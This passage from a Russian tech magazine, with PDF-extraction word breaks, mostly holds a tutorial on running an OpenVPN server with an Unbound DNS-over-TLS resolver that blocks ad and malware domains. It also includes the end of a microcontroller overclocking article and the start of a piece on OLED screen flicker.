товую  час тоту  ядра  мик рокон трол лера.  Кро ме  того,  нуж но  вклю чить  окно
вывода SWV «Window → Show View → SWV → SWV  ITM Data Console» и раз‐ 
решить вывод нажати ем на кноп ку Start Trace.

К сожале нию, во вре мя экспе римен тов ты можешь слу чай но «залочить» мик‐ 
рокон трол лер  таким обра зом,  что он  перес танет отве чать  на  сиг налы прог‐ 
рамма тора. Поэто му в про ектах, работа ющих с неш татны ми час тотами, край‐ 
не  рекомен дует ся  пос тавить  вре мен ную  задер жку  перед  фун кци ей,  опре‐ 
деля ющей  так товую  час тоту  про цес сора  (хотя  бы  в  нес коль ко  секунд).
В  таком  слу чае  ты  успе ешь  под клю чить ся  отладчи ком  и  переп рошить  мик‐ 
рокон трол лер.

Есть  аль тер натив ный  спо соб:  выбери  режим  under  reset  в  парамет рах
отладчи ка и заж ми кноп ку сбро са. Тог да на линии nRST ока жет ся логичес кий
ноль и мик росхе ма перей дёт в режим прог рамми рова ния.

WARNING

Будь  вни мате лен!  Во  вре мя  экспе римен тов  есть
веро ятность «залочить» мик рокон трол лер.

Пред положим,  все  прош ло  удач но  и  прог рамма  выдала  резуль тат.  Но  выг‐ 
лядит он уди витель но: 8 DMIPS и 69,75 CoreMark абсо лют но не соот ветс тву ют
заяв ленным харак терис тикам и уж тем более нашим амби циям. :)

Что же мы упус тили? Во‐пер вых, сто ит вклю чить кеш прог рамм и дан ных,
добавив  во  вре мя  ини циали зации  фун кции    и 

.  Либо  ты  можешь  акти виро вать  их  в  гра фичес ком  меню  через
нас трой ки  перифе рии  (даже  нес мотря  на  то,  что  они  нап рямую  отно сят ся
к  ядру):  CORTEX  M7 →  CPU  Icache →  Enabled  /  CPU  Dcache →  Enabled.
Во‐вто рых,  мож но  поиг рать  с  клю чами  опти миза ции  ком пилято ра    и 

 Ну и наконец, мы же можем разог нать мик рокон трол лер и попытать ся
пол ностью рас крыть потен циал железа!

SCB_EnableICache SCB_En‐
ableDCache

‐O3
.‐Ofast

АНАЛИЗ РЕЗУЛЬТАТОВ
Не буду  дол го  ходить  вок руг  да око ло:  пос ле  череды попыток  и  пос ледова‐ 
тель ного  уве личе ния  мно жите ля  час тоты  PLLN  до  155  (соот ветс тву‐ 
ет 620 МГц) мне  уда лось добить ся ста биль ной работы H743 и без проб лем
прой ти все тес ты. Резуль таты при веде ны на гра фике ниже.

Бо лее мед ленное исполне ние кода из ОЗУ в нашем слу чае объ ясня ется кон‐ 
курен тным  дос тупом  к  памяти  дан ных/прог рамм  и  незави симым  дос тупом
в слу чае рас положе ния исполня емо го кода в области флеш‐памяти.

Как  вид но  из  резуль татов,  тест Whetstone  наибо лее  под вержен  вли янию
нас тро ек ком пилято ра и явля ется наиме нее реп резен татив ным из пред став‐ 
ленных.  А  при  раз гоне  с  мак сималь ными  нас трой ками  опти миза ции  ком‐ 
пилято ра GCC получен резуль тат,  который уве рен но прев зошел заяв ленные
про изво дите лем харак терис тики (2400 CoreMark / 1027 DMIPS).

ИТОГИ
Ес ли при сло ве «мик рокон трол леры»  тебе пред став ляет ся арду инка на AVR,
мига ющая све тоди одом как заведен ная, то спе шу тебя обра довать — ее сов‐ 
ремен ные  ана логи  спо соб ны  на  куда  более  инте рес ные  вещи.  Некото рые
даже запус кают на них ней рон ные сети и исполь зуют для машин ного зре ния.
Что неуди витель но — с такими‐то харак терис тиками.

Во обще  говоря,  получен ные  резуль таты  поз воля ют  помес тить  нынеш ние
мик рокон трол леры на уро вень пер сональ ных компь юте ров вто рой полови ны
нулевых, что очень неп лохо! Более деталь но озна комить ся с рей тин гом оце‐ 
нок и исто рией про исхожде ния боль шинс тва тес тов ты можешь на этом 
.

сай‐ 
те

Удач ного раз гона!

https://github.com/tonyho/ARM_BenchMark/tree/master/whetstone
https://github.com/Keith-S-Thompson/dhrystone/tree/master/v2.1
https://github.com/eembc/coremark
http://www.roylongbottom.org.uk/


БЕЗ РЕКЛАМЫ
ПРОГРАММЫ

ИСПОЛЬЗУЕМ  ,
ЧТОБЫ УБРАТЬ БАННЕРЫ

ИЗ ПРИЛОЖЕНИЙ

VPN И UNBOUND

GH0st3rs
qiqwoe@protonmail.com

ТРЮКИ

Не дав но я купил телефон Xiaomi и всем был
доволен, кро ме рек ламы в фир менных при‐ 
ложе ниях.  Да,  есть  фун кция,  которая  ее
дол жна  отклю чать,  но  пол ностью  от  нее
не изба вить ся. Поэто му я поч ти не исполь‐ 
зую  телефон  для  прос мотра  сай тов,  ведь
в  мобиль ных  бра узе рах  вооб ще  нель зя
уста новить бло кира торы рек ламы.

Кто‐то  ска жет,  что  рек лама помога ет  под держи вать бес плат ные про екты,  и,
воз можно, ког да‐то это так и было, но сей час рек лама — сбор информа ции
о  тебе,  тво их  при выч ках,  поис ковых  зап росах  и  про чем:  дос таточ но  пос‐ 
мотреть  тра фик,  который  генери рует  твой  телефон  во  вре мя  обыч ного
исполь зования. Я дав но уком плек товал свой дес ктоп ный бра узер пла гина ми
типа NoScript и uBlock, поч ти позабыл о рек ламе, но телефон о ней пос тоян но
напоми нал.

Пос ледней кап лей ста ло то, что я решил изу чить тра фик при ложе ния Xiao‐
mi  MiFit  и  обна ружил  в  отве тах  сер веров  ссыл ки  на  стран ные  APK‐фай лы
(опи сывать  их  я  не  ста ну,  это  выходит  за  рам ки  статьи.  Жела ющие  могут
самос тоятель но  перех ватить  зло получ ные  зап росы,  тем  более  что  они  идут
по обыч ному HTTP).

Дол го думать не приш лось, под рукой был сво бод ный сер вер с белым IP.
Его я и решил исполь зовать, что бы раз вернуть VPN, а заод но и нас тро ить там
бло киров ку все го лиш него — еди нож ды и для всех под клю чен ных устрой ств.

ПОДГОТОВИТЕЛЬНЫЙ ЭТАП
Пред полага ется,  что  у  тебя  уже  есть  сер вер  с  пуб личным  IP‐адре сом,  где
уста нов лен Linux: в моем слу чае это был Ubuntu 16.10. Пред став ленные при‐ 
меры  будут  работать  и  на  дру гих  дис три бути вах  Linux,  с  той  раз ницей,  что
нуж но будет адап тировать уста нов ку пакетов под твой пакет ный менед жер.

Что делать со ста рой вер сией Ubuntu
Так  получи лось,  что  мне  дос тался  сер вер  с  уста рев шими  ссыл ками
на  репози тории,  а  сле дова тель но,  при  попыт ке  обно вить ся  я  получал  мно‐ 
жес тво оши бок.

По пыт ка обно вить ся

Google  ненавяз чиво  под ска зал  мне,  что  репози тории  были  переме щены
на под домен  . Исправ ляем и обновля емся:old‐releases

$ sed ‐i 's|us.archive|old‐releases|' /etc/apt/sources.list
$ sed ‐i 's|//security|//old‐releases|' /etc/apt/sources.list
$ apt update && apt upgrade ‐y && reboot

Ус танов ка OpenVPN
Есть два пути:

прос той —  с  исполь зовани ем  уже  готово го  обра за  Docker  (для  тех,  кто
не хочет замора чивать ся и вни кать в кон фиги OpenVPN);

•

слож ный — с руч ной уста нов кой и кон фигури рова нием OpenVPN.•

Мы рас смот рим оба вари анта и нач нем с прос того.

Docker-образ с OpenVPN
Ска чива ем образ.

$ docker pull kylemanna/openvpn

На  гит хабе  авто ра  лежит  дос таточ но  пол ная  докумен тация  в  виде  фай ла
. Им мы и вос поль зуем ся. Для начала нам нуж но соз дать файл кон‐ 

фигура ции для сер вера VPN.
README

$ docker run ‐v /etc/openvpn:/etc/openvpn ‐‐log‐driver=none ‐‐rm ‐it 
kylemanna/openvpn ovpn_genconfig ‐u udp://192.168.0.183

Ука зыва ем тут про токол, в  который будет обо рачи вать ся  тра фик, и белый  IP
тво его сер вера. Давай пос мотрим на получен ный кон фиг.

$ cat /etc/openvpn/openvpn.conf

server 192.168.255.0 255.255.255.0
verb 3
key /etc/openvpn/pki/private/192.168.0.183.key
ca /etc/openvpn/pki/ca.crt
cert /etc/openvpn/pki/issued/192.168.0.183.crt
dh /etc/openvpn/pki/dh.pem
tls‐auth /etc/openvpn/pki/ta.key
key‐direction 0
keepalive 10 60
persist‐key
persist‐tun

proto udp
# Rely on Docker to do port mapping, internally always 1194
port 1194
dev tun0
status /tmp/openvpn‐status.log

user nobody
group nogroup
comp‐lzo no

### Route Configurations Below
route 192.168.254.0 255.255.255.0

### Push Configurations Below
push "block‐outside‐dns"
push "dhcp‐option DNS 8.8.8.8"
push "dhcp‐option DNS 8.8.4.4"
push "comp‐lzo no"

Ес ли  необ ходимо  сме нить  порт,  то  меня ем  его  в  этом  фай ле,  а  так же  в 
  Перехо дим  к  генера ции  сер тифика тов

для удос товеря юще го цен тра.
./etc/openvpn/ovpn_env.sh

$ docker run ‐v /etc/openvpn:/etc/openvpn ‐‐log‐driver=none ‐‐rm ‐it 
kylemanna/openvpn ovpn_initpki

Бу дет зап рошен пароль для соз дания клю ча удос товеря юще го цен тра.

Те перь генери рует ся сер тификат и ключ сер вера, клю чи про токо ла Диф фи —
Хел лма на, а так же под пись HMAC для про вер ки целос тнос ти TLS.

Пос ле это го мы дол жны добавить поль зовате лей. Дела ется это так же прос то.

$ docker run ‐v /etc/openvpn:/etc/openvpn ‐‐log‐driver=none ‐‐rm ‐it 
kylemanna/openvpn easyrsa build‐client‐full CLIENTNAME nopass

В  качес тве    я  буду  исполь зовать  имя  хос та  кли ента  (поз же  ты
узна ешь, для чего это нуж но). Соз даем сер тификат для поль зовате ля 
, нас сра зу же поп росят ука зать пароль от сер тифика та удос товеря юще го

цен тра.  Сер тификат  готов,  но  нам‐то  нуж но  получить  файл  кон фигура ции
для OpenVPN. Выпол няем сле дующую коман ду.

CLIENTNAME
user‐

pc

$ docker run ‐v /etc/openvpn:/etc/openvpn ‐‐log‐driver=none ‐‐rm ‐it 
kylemanna/openvpn ovpn_getclient user‐pc > /root/user‐pc.ovpn

Смот рим на резуль тат.

$ cat /root/user‐pc.ovpn

client
nobind
dev tun
remote‐cert‐tls server

remote 192.168.0.183 1194 udp

<key>
‐‐‐‐‐BEGIN PRIVATE KEY‐‐‐‐‐
...
‐‐‐‐‐END PRIVATE KEY‐‐‐‐‐
</key>
<cert>
‐‐‐‐‐BEGIN CERTIFICATE‐‐‐‐‐
...
‐‐‐‐‐END CERTIFICATE‐‐‐‐‐
</cert>
<ca>
‐‐‐‐‐BEGIN CERTIFICATE‐‐‐‐‐
...
‐‐‐‐‐END CERTIFICATE‐‐‐‐‐
</ca>
key‐direction 1
<tls‐auth>
#
# 2048 bit OpenVPN static key
#
‐‐‐‐‐BEGIN OpenVPN Static key V1‐‐‐‐‐
...
‐‐‐‐‐END OpenVPN Static key V1‐‐‐‐‐
</tls‐auth>

redirect‐gateway def1

Клю чи в фор мате Base64 намерен но убра ны из вывода, что бы умень шить его
содер жимое. На этом все: запус каем OpenVPN в режиме демона.

$ docker run ‐v /etc/openvpn:/etc/openvpn ‐d ‐p 1194:1194/udp 
‐‐cap‐add=NET_ADMIN kylemanna/openvpn

На сто роне кли ента про буем под клю чить ся.

$ sudo openvpn ‐‐config user‐pc.ovpn

Ес ли все прош ло успешно, то в кон це лога ты уви дишь над пись 
,  а  в  спис ке  интерфей сов  появит ся    с  IP‐

адре сом из под сети 192.168.255.0/24. Для наших целей это го впол не хва тит,
нуж но  толь ко  добавить  коман ду  на  запуск  кон тей нера  в  авто заг рузку
и перехо дить к час ти с нас трой кой DNS.

Initializa‐
tion  Sequence  Completed tun0

Руч ная нас трой ка OpenVPN
Вто рой  вари ант  —  это  нас тро ить  OpenVPN  пол ностью  вруч ную.  Поеха ли
по шагам.

. Уста нав лива ем OpenVPN.1

$ sudo apt install ‐y openvpn

. Ска чива ем easy‐rsa.2

$ sudo git clone https://github.com/OpenVPN/easy‐rsa.git /etc/
openvpn/easy‐rsa

.  Выс тавля ем  перемен ные  для  easy‐rsa  в фай ле 
,  осталь ное  по  желанию.  Файл 

 содер жит пол ный перечень дос тупных перемен ных,
но нам хва тит и это го.

3 /etc/openvpn/easy‐rsa/
easyrsa3/vars /etc/openvpn/easy‐rsa/
easyrsa3/vars.example

set_var EASYRSA_KEY_SIZE    2048
set_var EASYRSA_CA_EXPIRE   3650
set_var EASYRSA_CERT_EXPIRE 3650

. Ини циали зация PKI.4

$ cd /etc/openvpn/easy‐rsa/easyrsa3 && ./easyrsa init‐pki

. Соз дание цен тра сер тифика ции. Ука зыва ем пароль и Common Name.5

$ ./easyrsa build‐ca

. Соз дание клю чей сер вера. Вез де исполь зуем имя хос та как Common Name
для соз дания сер тифика та.
6

$ ./easyrsa build‐server‐full vpnserver nopass

. Соз дание клю чей кли ента.7

$ ./easyrsa build‐client‐full user‐pc nopass

.   если нуж но сге нери ровать клю чи Диф фи — Хел лма на и TLS.8 По желанию:

$ ./easyrsa gen‐dh
$ openvpn ‐‐genkey ‐‐secret /etc/openvpn/easy‐rsa/easyrsa3/pki/ta.key

На этом соз дание сер тифика тов завер шено, перехо дим к написа нию кон фига
для VPN‐сер вера  :/etc/openvpn/server.conf

# Адрес твоего сервера
local 192.168.0.183

# Какой TCP/UDP‐порт должен слушать OpenVPN
port 3333

# Режим работы
mode server

# Используемый протокол TCP/UDP
proto udp

# Тип интерфейса, tun (OSI Layer 3) или tap (OSI Layer 2)
dev tun

# Пути к файлам сертификатов
ca /etc/openvpn/easy‐rsa/easyrsa3/pki/ca.crt
cert /etc/openvpn/easy‐rsa/easyrsa3/pki/issued/vpnserver.crt

# Этот файл необходимо хранить в секрете
key /etc/openvpn/easy‐rsa/easyrsa3/pki/private/vpnserver.key
dh /etc/openvpn/easy‐rsa/easyrsa3/pki/dh.pem

# Указываем адрес сервера и подсеть
server 10.8.0.0 255.255.255.0

# Выдаем пользователям необходимые маршруты
push "route 10.8.0.0 255.255.255.0"

# OpenVPN as Proxy. Перенаправляем трафик клиентов в интернет
push "redirect‐gateway def1 bypass‐dhcp"

# Используем свой собственный DNS‐сервер
push "dhcp‐option DNS 10.8.0.1"

# Разрешаем подключенным клиентам OpenVPN‐сервера соединяться друг с 
другом
client‐to‐client

# Используем сжатие трафика (если не нужно, то можно 
закомментировать!)
comp‐lzo

# Проверяем состояние клиента, отправляем пакеты каждые 10 с, если в 
течение 120 с клиент не ответил, то он считается отключенным
keepalive 10 120

# Используем те же ключи и интерфейсы при рестарте
persist‐key
persist‐tun

# Лог‐файл
log openvpn.log

# Уровень логирования 0 — в лог попадают только записи о критических 
ошибках сервера, если нужно подробнее, то выставляем 9 для дебагинга
verb 0
# Количество записей, после которых будет производиться запись в лог
mute 20

Плюс уста нов ки OpenVPN из репози тория еще и в том, что допол нитель но он
про писы вает ся как сер вис в  . Под пра вим его для работы с нашим
кон фигом.

systemctl

$ systemctl cat openvpn.service

# /lib/systemd/system/openvpn.service
# This service is actually a systemd target,
# but we are using a service since targets cannot be reloaded.

[Unit]
Description=OpenVPN service
After=network.target

[Service]
Type=oneshot
RemainAfterExit=yes
ExecStart=/bin/true
ExecReload=/bin/true
WorkingDirectory=/etc/openvpn

[Install]
WantedBy=multi‐user.target

По лучив путь к фай лу, нем ного изме ним его под наши нуж ды.

# /lib/systemd/system/openvpn.service
# This service is actually a systemd target,
# but we are using a service since targets cannot be reloaded.

[Unit]
Description=OpenVPN service
After=network.target

[Service]
Type=oneshot
RemainAfterExit=yes
ExecStart=/usr/sbin/openvpn ‐‐config server.conf ‐‐daemon
ExecReload=/usr/sbin/openvpn ‐‐config server.conf ‐‐daemon
WorkingDirectory=/etc/openvpn
RestartSec=5s
Restart=on‐failure

[Install]
WantedBy=multi‐user.target

За пус каем сер вис.

$ sudo systemctl enable openvpn.service && sudo systemctl start 
openvpn.service

И про веря ем на ошиб ки.

$ journalctl ‐uxe openvpn.service

В прош лом при мере с Docker у нас была воз можность получить кон фиг кли‐ 
ента одной коман дой. Пора написать для это го скрипт.

#!/bin/bash

USERNAME=$1
EASYRSA_PKI="/etc/openvpn/easy‐rsa/easyrsa3/pki"

echo "
client
nobind
dev tun
remote 192.168.0.183 3333
proto udp
comp‐lzo yes
auth‐nocache
script‐security 2
persist‐key
persist‐tun"

echo "<key>
$(cat ${EASYRSA_PKI}/private/${USERNAME}.key)
</key>

<cert>
$(openssl x509 ‐in ${EASYRSA_PKI}/issued/${USERNAME}.crt)
</cert>

<ca>
$(cat $EASYRSA_PKI/ca.crt)
</ca>
"

Опи сывать его не вижу необ ходимос ти: тут все то же самое, а за под робнос‐ 
тями можешь заг лянуть в  .man openvpn

Те перь, ког да у нас готов сер вер VPN и нас тро ено под клю чение кли ентов,
пора прис тупать к кон фигура ции сер вера DNS.

UNBOUND
Вы бор на него пал по нес коль ким при чинам:

есть под дер жка DNSSEC;•
уме ет кеширо вать;•
мож но нас тро ить DoT (DNS over TLS);•
очень прост в кон фигури рова нии;•
боль шая ско рость работы и малый раз мер по срав нению с BIND.•

Продолжение статьи →

mailto:qiqwoe@protonmail.com
https://github.com/kylemanna/docker-openvpn


ПРОГРАММЫ

БЕЗ РЕКЛАМЫ
ИСПОЛЬЗУЕМ VPN И UNBOUND,

ЧТОБЫ УБРАТЬ БАННЕРЫ ИЗ ПРИЛОЖЕНИЙ

ТРЮКИ  НАЧАЛО СТАТЬИ←

Ком пиляция Unbound DNS Resolver
Ска чива ем с GitHub  , уста нав лива ем зависи мос‐ 
ти.

пос леднюю вер сию Unbound

$ git clone https://github.com/NLnetLabs/unbound.git /opt/unbound
$ sudo apt install ‐y protobuf‐c‐compiler libevent‐dev libssl‐dev 
libsodium‐dev libfstrm‐dev

Те перь мож но прис тупать к ком пиляции.

$ cd /opt/unbound
$ ./configure \
       ‐‐prefix=/usr \
       ‐‐sysconfdir=/etc \
       ‐‐localstatedir=/var \
       ‐‐sbindir=/usr/bin \
       ‐‐disable‐rpath \
       ‐‐enable‐dnscrypt \
       ‐‐enable‐dnstap \
       ‐‐enable‐pie \
       ‐‐enable‐relro‐now \
       ‐‐enable‐subnet \
       ‐‐enable‐tfo‐client \
       ‐‐enable‐tfo‐server \
       ‐‐with‐conf‐file=/etc/unbound/unbound.conf \
       ‐‐with‐pidfile=/run/unbound.pid \
       ‐‐with‐rootkey‐file=/etc/trusted‐key.key \
       ‐‐with‐libevent
$ make
$ sudo make install

Здесь:
 —  ука зыва ем  стан дар тный  путь  к фай лу  кон фигура‐ 

ции;
• ­­with­conf­file

 — вклю чаем под дер жку DNSSEC;• ­­enable­dnscrypt

 — путь к фай лу с доверен ными клю чами;• ­­with­rootkey­file

 — вклю чаем под дер жку dnstap.• ­­enable­dnstap

Пос ле  успешной  сбор ки  нам  оста лось  добавить  пару  нюан сов.  Во‐пер вых,
соз дать поль зовате ля.

$ sudo useradd ‐s /bin/false ‐d /etc/unbound unbound

Во‐вто рых,  добавить  сер вис  .  Его
содер жимое будет таким.

/lib/systemd/system/unbound.service

# /lib/systemd/system/unbound.service
[Unit]
Description=Unbound DNS Resolver
Wants=nss‐lookup.target
Before=network‐online.target nss‐lookup.target
After=network.target

[Service]
ExecStart=/usr/bin/unbound
ExecReload=/bin/kill ‐HUP $MAINPID
Restart=always

[Install]
WantedBy=multi‐user.target

До бавим якорь в  .tmpfiles.d

$ echo 'C /etc/unbound/trusted‐key.key ‐ ‐ ‐ ‐ /etc/trusted‐key.key' 
> /usr/lib/tmpfiles.d/unbound.conf

Кон фигура ция DNS over TLS
DoT добавит нам боль ше кон фиден циаль нос ти и поз волит защитить ся от спу‐ 
фин га. Ниже при мер фай ла кон фигура ции  ./etc/unbound/unbound.conf

server:
 # Слушаем все интерфейсы
 interface: 0.0.0.0
 interface: ::0
 # Логи пишем в системный журнал
 use‐syslog: yes
 do‐daemonize: no
 username: "unbound"
 # Количество потоков. Рекомендуется ставить максимальное для твоей 

системы
 num‐threads: 2
 verbosity: 2

 # Запрещаем входящие запросы из интернета
 access‐control: 0.0.0.0/0 refuse
 access‐control: ::0/0 refuse

 # Разрешаем запросы с локального хоста и подсетей VPN
 access‐control: 127.0.0.1 allow
 access‐control: ::1 allow
 access‐control: 10.8.0.0/24 allow

 # Скрываем отображение версии сервера
 hide‐identity: yes
 hide‐version: yes

 # Указываем приватные сети, к которым будет доступ у клиентов
 private‐address: 127.0.0.1
 private‐address: ::1
 # Сеть VPN
 private‐address: 10.8.0.0/24
 private‐address: fe80::/24

 # Директория с файлами конфигурации
 directory: "/etc/unbound"
 # Файлы ключей и сертификатов для DNS over TLS
 trust‐anchor‐file: trusted‐key.key
 tls‐cert‐bundle: /etc/ssl/certs/ca‐certificates.crt
 # Минимальное и максимальное время кеша
 cache‐max‐ttl: 86400
 cache‐min‐ttl: 3600
 # Подгружаем локальные конфиги из local.d, туда будем добавлять 

потом фильтры рекламы
 include: /etc/unbound/local.d/*.conf

# Ну и самая главная часть: перенаправляем все DNS‐запросы на 
серверы с поддержкой DoT
forward‐zone:
 name: "."
 forward‐tls‐upstream: yes
 ## Cloudflare DNS
 forward‐addr: "1.1.1.1@853#cloudflare‐dns.com"
 forward‐addr: "1.0.0.1@853#cloudflare‐dns.com"
 ## IPv6  Cloudflare DNS over TLS
 forward‐addr: "2606:4700:4700::1111@853#cloudflare‐dns.com"
 forward‐addr: "2606:4700:4700::1001@853#cloudflare‐dns.com"

# Эта опция нам понадобится для обновления конфигурации Unbound в 
режиме реального времени
remote‐control:
 control‐enable: yes
 # Разрешаем запросы только из локальной сети
 control‐interface: 127.0.0.1
 control‐interface: ::1
 control‐port: 8953
 # При желании можно добавить проверку сертификата
 control‐use‐cert: no

Кон фиг  готов!  Соз дадим  файл  клю чей 
для DNSSEC.

/etc/unbound/trusted‐key.key

$ sudo unbound‐anchor ‐a /etc/unbound/trusted‐key.key

Со юз с NetworkManager
Для обновле ния фай ла   нам пот ребу ется ути лита 

. Соз дадим для нее кон фиг  .
/etc/resolv.conf openre‐

solv /etc/resolvconf.conf

resolv_conf=/etc/resolv.conf
name_servers="::1 127.0.0.1"

Тут мы  ука зыва ем путь  к    и  адрес DNS по  умол чанию для  всей
сис темы. Коман дой   обновля ем  , что бы в него
добави лись  изме нения.  Если  ты  под клю чаешь ся  к  интерне ту  при  помощи

, то для того, что бы он тоже исполь зовал  , нуж но
поп равить файл  :

resolv.conf
$ resolvconf ‐u resolv.conf

NetworkManager openresolv
/etc/NetworkManager/conf.d/rc‐manager.conf

[main]
rc‐manager=resolvconf

За пуск Unbound
За пус каем резол вер коман дой

$ sudo systemctl start unbound

Пос ле это го все дол жно работать.

WARNING

Важ но  убе дить ся,  что  перед  запус ком  Unbound
у  тебя  отклю чены  дру гие  DNS‐сер веры
или резол веры! Воз можные ошиб ки и их при чину
можешь  узнать,  написав 

.
journalctl  ‐xeu 

unbound

БЛОКИРОВКА РЕКЛАМЫ
Пе рехо дим к самой важ ной час ти все го нашего про цес са. Поис кав информа‐ 
цию в Сети и пос мотрев филь тры uBlock, который уста нов лен в моем бра узе‐ 
ре, я нашел нес коль ко спис ков с домена ми:

;• спи сок yoyo
.• спи сок доменов malwaredomainlist

Соз даем  скрипт  ,  который
будет это все пар сить и генери ровать пра вила для нашего Unbound.

/etc/unbound/local.d/update_ads_filters.py

#!/usr/bin/python
import requests

response = requests.get('https://pgl.yoyo.org/adservers/serverlist.
php?hostformat=unbound&showintro=0&mimetype=plaintext')
hosts = requests.get('http://www.malwaredomainlist.com/hostslist/
hosts.txt')

def make_unbound_zone(host):
   fmt = 'local‐zone: "{0}" redirect\nlocal‐data: "{0} A 127.0.0.1"\
n'
   return fmt.format(host)

if response and response.status_code == 200:
   unbound_format = response.text
   if hosts and hosts.status_code == 200:
       for line in hosts.text.splitlines():
           if not line or line.startswith('#'):
               continue
           _, host = line.strip().split()
           if host not in unbound_format:
               unbound_format += make_unbound_zone(host)

print(unbound_format)

Тут все очень прос то: для каж дого домена соз дает ся сле дующая запись.

local‐zone: "HOSTNAME" redirect
local‐data: "HOSTNAME A 127.0.0.1"

Как потом выяс нилось, мож но вмес то редирек та на   исполь зовать
более прос тую запись и воз вра щать  . Если корот ко, то это озна чает,
что зап рашива емый домен не сущес тву ет.

127.0.0.1
NXDOMAIN

local‐zone: "HOSTNAME" always_nxdomain

До бав ляем  этот  скрипт  в  crontab  с  пери одом  запус ка  не  чаще  одно го  раза
в неделю (не думаю, что домены будут обновлять ся чаще) и запус каем.

# /etc/unbound/local.d/update_ads_filters.py > /etc/unbound/local.d/
adservers.conf && unbound‐control reload

До пол нитель но соз дадим еще один скрипт 
, который поз волит вруч ную бло киро вать необ ходимые домены. Я

с его помощью добавил Яндекс.Мет рику.

/etc/unbound/insert_filter_‐
domain.sh

#!/bin/bash
DOMAIN=$1

FILTER_FILE="/etc/unbound/local.d/ruads.conf"

echo "local‐zone: \"${DOMAIN}\" always_nxdomain" >> ${FILTER_FILE}

unbound‐control reload

ДОБАВЛЯЕМ РЕЗОЛВИНГ DNS ДЛЯ КЛИЕНТОВ
Все может работать и без это го, но при ятно будет вмес то обра щения по  IP
исполь зовать  корот кий  адрес,  который  лег ко  запом нить.  Есть  и  еще  одна
при чина:  все  кли енты  при  под клю чении  получа ют  IP‐адре са  от  встро енно го
в OpenVPN сер вера DHCP и каж дый раз эти адре са могут менять ся.

Это  мож но  было  бы  решить,  про писав  все  IP  ста тичес ки,  или  вмес то
интерфей са TUN для OpenVPN исполь зовать TAN и раз вернуть свер ху собс‐ 
твен ный сер вер DHCP, но это не наш путь. Мы вос поль зуем ся тем, что у нас
есть, а заод но и узна ем некото рые осо бен ности OpenVPN.

Для  начала  нам  нуж но  обно вить  кон фиг  OpenVPN  (файл 
), добавив туда сле дующие стро ки:

/etc/openvpn/
server.conf

# Разрешаем скриптам запуск сторонних приложений
script‐security 2
# Назначаем скрипт, который будет запускаться при подключении и 
отключении клиента
client‐connect /etc/openvpn/connect.sh
client‐disconnect /etc/openvpn/connect.sh

Сам скрипт   выг лядит так./etc/openvpn/connect.sh

#!/bin/bash

add_to_unbound() {
   host="$1"
   ip="$2"

   reverse_ip=$(echo $ip | awk ' BEGIN { FS="." ; OFS="." } { print 
$4,$3,$2,$1 }')
   unbound‐control local_data "${host} IN A $ip"
   unbound‐control local_data "${reverse_ip}.in‐addr.arpa. IN PTR ${
host}"
}

del_from_unbound() {
   host="$1"
   ip="$2"

   reverse_ip=$(echo $ip | awk ' BEGIN { FS="." ; OFS="." } { print 
$4,$3,$2,$1 }')
   unbound‐control local_data_remove "${host}"
   unbound‐control local_data_remove "${reverse_ip}.in‐addr.arpa."
}

if [ "$script_type" == "client‐connect" ]; then
   add_to_unbound "${common_name}" "${ifconfig_pool_remote_ip}"
elif [ "$script_type" == "client‐disconnect" ]; then
   del_from_unbound "${common_name}" "${ifconfig_pool_remote_ip}"
fi

Из  ману ала  по  OpenVPN  мож но  узнать,  что  для  запус каемых  им  скрип тов
и команд дос тупны некото рые гло баль ные перемен ные:

 — событие, выз вавшее запуск скрип та, дос тупны вари анты
,  ,  ,  ,  , 
,  ,   и  ;

• script_type

up down ipchange route­up tls­verify auth­user­pass­veri­

fy client­connect client­disconnect learn­address

 — поле Common Name из сер тифика та кли ента. Пом ни, что
при генера ции сер тифика тов мы ука зыва ли там имя хос та;

• common_name

 — внут ренний IP кли ента.• ifconfig_pool_remote_ip

Фун кции    и  ,  исполь зуя  интерфейс
уда лен ного управле ния кон фигура цией Unbound, добав ляют записи, которые
резол вят име на хос тов кли ентов.

add_to_unbound() del_from_unbound()

До пол нитель но соз дадим файл  ,
который будет содер жать записи для резол ва име ни текуще го сер вера и всей
под сети в целом.

/etc/unbound/local.d/localzone.conf

insecure‐lan‐zones: yes

local‐zone: "10.in‐addr.arpa." nodefault 
local‐zone: "8.10.in‐addr.arpa." nodefault

local‐data‐ptr: "10.8.0.1 vpnserver"
local‐data: "vpnserver A 10.8.0.1"

ИТОГ
На  этом  нас трой ка  нашей  сис темы  филь тра ции  закон чена.  Уста нав лива ем
на  телефон OpenVPN,  под клю чаем ся  и  про веря ем.  Вот  как  резуль таты  выг‐ 
лядят в бра узе ре.

Ре зуль таты до и пос ле

В при ложе нии MiFit.

И Avito.

Иде аль но!

https://github.com/NLnetLabs/unbound.git
https://pgl.yoyo.org/adservers/serverlist.php?hostformat=unbound&showintro=0&mimetype=plaintext
http://www.malwaredomainlist.com/hostslist/hosts.txt


ГЛАЗА!
БЕРЕГИ

АКТИВИРУЕМ

В IPHONE XS,
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«Элкомсофт»
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ТРЮКИ

«Выр виглаз ные  мер цающие  OLED‐дис плеи  оста лись
в прош лом! Береги те  гла за: в Xiaomi изоб рели спо соб сде‐ 
лать  OLED  без  мер цания!  Спе шите  видеть:  новая  воз‐ 
можность  дос тупна  не  толь ко  для  акту аль ного  флаг мана,
но  и  для  ста рых  устрой ств!»  Сколь ко  в  этих  утвер жде ниях
исти ны, а сколь ко — рек ламной шелухи, что на самом деле
сде лали в Xiaomi и были ли они пер выми на рын ке? Поп робу‐ 
ем разоб рать ся.

О ВРЕДЕ МЕРЦАНИЯ
Спо ры о вре де мер цания не сти хают с тех самых пор, как дис плеи ста ли мер‐ 
цать.  «Через  пять минут  гла за  сле зят ся,  через  пол часа  крас неют!» — жалу‐ 
ется поль зователь на форуме. «У меня тоже есть нога, но она не болит!» —
хором отве чают ему форум чане. «На AMOLED цве та, конеч но, соч нее, но зато
от IPS гла за не болят», — делят ся наб людени ем дру гие поль зовате ли и дела‐ 
ют неожи дан ный вывод: «Навер ное, дело в цве топе реда че!»

Увы, нет: дело не в цве топе реда че, точ нее — не толь ко в ней. Дело в том,
что  сов ремен ные  экра ны  OLED,  исполь зуемые  в  смар тфо нах,  мер цают
на дос таточ но низ кой час тоте в 240 Гц. По ста тис тике, мер цания на этой час‐ 
тоте  не  замеча ет  70%  поль зовате лей,  а  из  тех,  кто  замеча ет,  боль шинс тво
не  обра щает  вни мания.  В  то  же  вре мя  наг рузка  на  глаз  оди нако ва  у  всех;
будут ли болеть гла за у кон крет ного поль зовате ля, который смот рит на мер‐ 
цающий экран, зависит не от того, видит ли он мер цание (это физи оло гичес‐ 
